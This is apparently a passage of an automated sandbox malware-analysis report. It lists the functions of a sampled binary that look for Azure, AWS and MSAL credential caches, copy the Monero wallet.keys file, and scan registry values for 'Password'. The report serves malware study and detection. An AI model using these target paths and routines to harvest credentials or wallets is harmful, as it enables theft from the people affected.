Opcode Fuzzy Hash: 9ced820ca6157d346ece176a41b882e3344dd5c4a28bfb469b184b600c616afc
Instruction Fuzzy Hash: A7712F71A00318ABDF14DFA4DC55BEE77B8FB45700F1081A9F50AAB290DBB46A85CF61

Function 00BA5510 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAA820: lstrlen.KERNEL32(00B94F05,?,?,00B94F05,00BB0DDE), ref: 00BAA82B
Part of subcall function 00BAA820: lstrcpy.KERNEL32(00BB0DDE,00000000), ref: 00BAA885

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00BA5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00BA56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00BA5857

Part of subcall function 00BAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BAA7E6

Part of subcall function 00BA51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00BA5228

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

Part of subcall function 00BA52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00BA5318
Part of subcall function 00BA52C0: lstrlen.KERNEL32(00000000), ref: 00BA532F
Part of subcall function 00BA52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00BA5364
Part of subcall function 00BA52C0: lstrlen.KERNEL32(00000000), ref: 00BA5383
Part of subcall function 00BA52C0: lstrlen.KERNEL32(00000000), ref: 00BA53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00BA578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00BA5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00BA5A0C
Sleep.KERNEL32(0000EA60), ref: 00BA5A1B

Strings

ERROR, xrefs: 00BA5693
p[b, xrefs: 00BA5585, 00BA55E3
ERROR, xrefs: 00BA5849
ERROR, xrefs: 00BA577D
ERROR, xrefs: 00BA5932
ERROR, xrefs: 00BA59FE
ERROR, xrefs: 00BA5636

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$p[b
API String ID: 507064821-2523839549
Opcode ID: cbb1099441063ba1157ac0eecf47e7e67dfaee69786a6d7c24f4a11e27d7e010
Instruction ID: 611ae0dfa7637f73515748ada3c6af615920c4dbf3dadc16452ee264bcd10696
Opcode Fuzzy Hash: cbb1099441063ba1157ac0eecf47e7e67dfaee69786a6d7c24f4a11e27d7e010
Instruction Fuzzy Hash: 70E12271914204ABCB54FBA4DC96AFE73B8AF55300F5085A9B407A6191EF346F0DCBB2

Function 00BA4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BA8E0B

lstrcat.KERNEL32(?,00000000), ref: 00BA4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00BA4DCD

Part of subcall function 00BA4910: wsprintfA.USER32 ref: 00BA492C
Part of subcall function 00BA4910: FindFirstFileA.KERNEL32(?,?), ref: 00BA4943

lstrcat.KERNEL32(?,00000000), ref: 00BA4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00BA4E59

Part of subcall function 00BA4910: StrCmpCA.SHLWAPI(?,00BB0FDC), ref: 00BA4971
Part of subcall function 00BA4910: StrCmpCA.SHLWAPI(?,00BB0FE0), ref: 00BA4987
Part of subcall function 00BA4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00BA4B7D
Part of subcall function 00BA4910: FindClose.KERNEL32(000000FF), ref: 00BA4B92

lstrcat.KERNEL32(?,00000000), ref: 00BA4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00BA4EE5

Part of subcall function 00BA4910: wsprintfA.USER32 ref: 00BA49B0
Part of subcall function 00BA4910: StrCmpCA.SHLWAPI(?,00BB08D2), ref: 00BA49C5
Part of subcall function 00BA4910: wsprintfA.USER32 ref: 00BA49E2
Part of subcall function 00BA4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00BA4A1E
Part of subcall function 00BA4910: lstrcat.KERNEL32(?,0063E938), ref: 00BA4A4A
Part of subcall function 00BA4910: lstrcat.KERNEL32(?,00BB0FF8), ref: 00BA4A5C
Part of subcall function 00BA4910: lstrcat.KERNEL32(?,?), ref: 00BA4A70
Part of subcall function 00BA4910: lstrcat.KERNEL32(?,00BB0FFC), ref: 00BA4A82
Part of subcall function 00BA4910: lstrcat.KERNEL32(?,?), ref: 00BA4A96
Part of subcall function 00BA4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00BA4AAC
Part of subcall function 00BA4910: DeleteFileA.KERNEL32(?), ref: 00BA4B31

Strings

Azure\.aws, xrefs: 00BA4E5F
*.*, xrefs: 00BA4E64
\.azure\, xrefs: 00BA4DC1
Azure\.IdentityService, xrefs: 00BA4EEB
\.aws\, xrefs: 00BA4E4D
Azure\.azure, xrefs: 00BA4DD3
msal.cache, xrefs: 00BA4EF0
*.*, xrefs: 00BA4DD8
\.IdentityService\, xrefs: 00BA4ED9

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 6850b52da8857df3ed5aef88a833f3d6384fc22263facbcecde7bab5ca0632f1
Instruction ID: 227c495009b6fa368a097c6cf8189949890fa9cdbbd847beb6ff69d3b3ef4325
Opcode Fuzzy Hash: 6850b52da8857df3ed5aef88a833f3d6384fc22263facbcecde7bab5ca0632f1
Instruction Fuzzy Hash: 5641A57994420867DB50F764EC57FED33B8AB65700F8048D47585A60C1EEF45BC8DBA2

Function 00B91310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B912A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B912B4
Part of subcall function 00B912A0: RtlAllocateHeap.NTDLL(00000000), ref: 00B912BB
Part of subcall function 00B912A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00B912D7
Part of subcall function 00B912A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00B912F5
Part of subcall function 00B912A0: RegCloseKey.ADVAPI32(?), ref: 00B912FF

lstrcat.KERNEL32(?,00000000), ref: 00B9134F
lstrlen.KERNEL32(?), ref: 00B9135C
lstrcat.KERNEL32(?,.keys), ref: 00B91377

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

Part of subcall function 00BA8B60: GetSystemTime.KERNEL32(00BB0E1A,0063A510,00BB05AE,?,?,00B913F9,?,0000001A,00BB0E1A,00000000,?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BA8B86

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00B91465

Part of subcall function 00BAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BAA7E6

Part of subcall function 00B999C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B999EC
Part of subcall function 00B999C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B99A11
Part of subcall function 00B999C0: LocalAlloc.KERNEL32(00000040,?), ref: 00B99A31
Part of subcall function 00B999C0: ReadFile.KERNEL32(000000FF,?,00000000,00B9148F,00000000), ref: 00B99A5A
Part of subcall function 00B999C0: LocalFree.KERNEL32(00B9148F), ref: 00B99A90
Part of subcall function 00B999C0: CloseHandle.KERNEL32(000000FF), ref: 00B99A9A

DeleteFileA.KERNEL32(00000000), ref: 00B914EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00B91335
\Monero\wallet.keys, xrefs: 00B9138D
.keys, xrefs: 00B9136B
wallet_path, xrefs: 00B91330

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 64a76fbb89295dcea15305fa054d630767fff7a6bb542b56ece37ab4a9c98eab
Instruction ID: faac703661e474744a950c91ae237efae57cfc3d0b2be3367d602d894cb151a5
Opcode Fuzzy Hash: 64a76fbb89295dcea15305fa054d630767fff7a6bb542b56ece37ab4a9c98eab
Instruction Fuzzy Hash: 575164B1D101195BCB55FB60DC91BEE73BCAF55300F4045E8B60AA2092EF746B89CBB6

Function 00B975D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B972D0: memset.MSVCRT ref: 00B97314
Part of subcall function 00B972D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00B9733A
Part of subcall function 00B972D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00B973B1
Part of subcall function 00B972D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00B9740D
Part of subcall function 00B972D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00B97452
Part of subcall function 00B972D0: HeapFree.KERNEL32(00000000), ref: 00B97459

lstrcat.KERNEL32(2F455020,00BB17FC), ref: 00B97606
lstrcat.KERNEL32(2F455020,00000000), ref: 00B97648
lstrcat.KERNEL32(2F455020, : ), ref: 00B9765A
lstrcat.KERNEL32(2F455020,00000000), ref: 00B9768F
lstrcat.KERNEL32(2F455020,00BB1804), ref: 00B976A0
lstrcat.KERNEL32(2F455020,00000000), ref: 00B976D3
lstrcat.KERNEL32(2F455020,00BB1808), ref: 00B976ED
task.LIBCPMTD ref: 00B976FB

Strings

: , xrefs: 00B9764E

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 64d5be992091e99167ae8f04764a4292168926614744f3659ecf857a1f700420
Instruction ID: 9b7e16dac4329e8c7340427d45fba1aff3acb9c0cb9803be988d8c011cf300d9
Opcode Fuzzy Hash: 64d5be992091e99167ae8f04764a4292168926614744f3659ecf857a1f700420
Instruction Fuzzy Hash: 22314B71911209DFCF04EBB8DC99DFE73F8BB49301B1481A9E502E72A0DE34A946DB61

Function 00BA8100 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0063DEE8,00000000,?,00BB0E2C,00000000,?,00000000), ref: 00BA8130
RtlAllocateHeap.NTDLL(00000000), ref: 00BA8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00BA8158
__aulldiv.LIBCMT ref: 00BA8172
__aulldiv.LIBCMT ref: 00BA8180
wsprintfA.USER32 ref: 00BA81AC

Strings

@, xrefs: 00BA814D
%d MB, xrefs: 00BA81A3
Xc, xrefs: 00BA819B, 00BA819E

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@$Xc
API String ID: 2774356765-4285142014
Opcode ID: 8bcf9ad61c20188b973d80431b11c4ca9b273c1c103ee285ddabd6b9b62005b8
Instruction ID: 1279fcf25c1f047b66e897eb6d82fa87f2301b9014264dac14ca89a00c3884ec
Opcode Fuzzy Hash: 8bcf9ad61c20188b973d80431b11c4ca9b273c1c103ee285ddabd6b9b62005b8
Instruction Fuzzy Hash: 5A210BB1E44318ABDB00DFD4CC49FAEB7B8FB49B10F104549F605BB680D77859018BA5

Function 00B972D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00B97314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00B9733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00B973B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00B9740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00B97452
HeapFree.KERNEL32(00000000), ref: 00B97459
task.LIBCPMTD ref: 00B97555

Strings

Password, xrefs: 00B97401

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

